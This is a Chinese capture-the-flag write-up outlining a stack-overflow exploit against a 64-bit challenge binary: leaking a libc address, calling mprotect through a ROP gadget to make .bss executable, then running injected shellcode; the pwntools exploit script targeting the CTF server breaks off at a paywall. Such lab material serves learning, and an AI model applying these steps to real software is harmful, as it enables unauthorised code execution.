本体我们要求不适用system和execve来解题,所以我们整点不一样的。
简单分析一下题目:

64位,只开启了NX保护,显然在提示我们 修改段权限位可执行hhh

程序逻辑比较简单:定义一个0x80大小的数组,而后调用两个函数,write一下,而后read函数使用,显然造成栈溢出,而栈保护没有开启,所以我们可以轻易劫持控流。
具体思路如下:
- 泄露一个函数地址而后计算“mprotect”地址
bss=elf.bss()生成一片data段作为shellcode注入的目的地址- 注入shellcode,这里shellcode使用shellcraft模块生成时需要注明一些附加调试(context)条件,否则报错
- 将bss所在地址添加到got.plt处(这里可能专业术语解释不到位,大佬勿喷)据说“call其他函数需要在got表中存有,所以需要添加在got表中空闲处。”
- 利用“通用gadget”调用mprotect修改bss段权限
- 接着执行bss处的shellcode
EXP如下:
from pwn import*
p=remote('node4.buuoj.cn',26405)
libc=ELF('./libc-2.23.so')
context(arch="amd64",os="linux",log_level="debug")
elf=ELF('./5')
read_got=elf.got['read']
read_plt=elf.plt['read']
vuln=0x4005e6
write_got=elf.got['write']
write_plt=elf.plt['write'

本文详细介绍了如何在64位系统中,针对开启了NX保护但未开启栈保护的程序,通过栈溢出漏洞,利用返回导向编程(ROP)技术泄露函数地址,计算并调用'mprotect'来改变内存权限,进而注入并执行自定义的shellcode。过程中涉及到的步骤包括:栈溢出、函数地址泄露、shellcode注入、修改got.plt表、调用通用gadget等,最终实现代码执行。
最低0.47元/天 解锁文章
830

被折叠的 条评论
为什么被折叠?



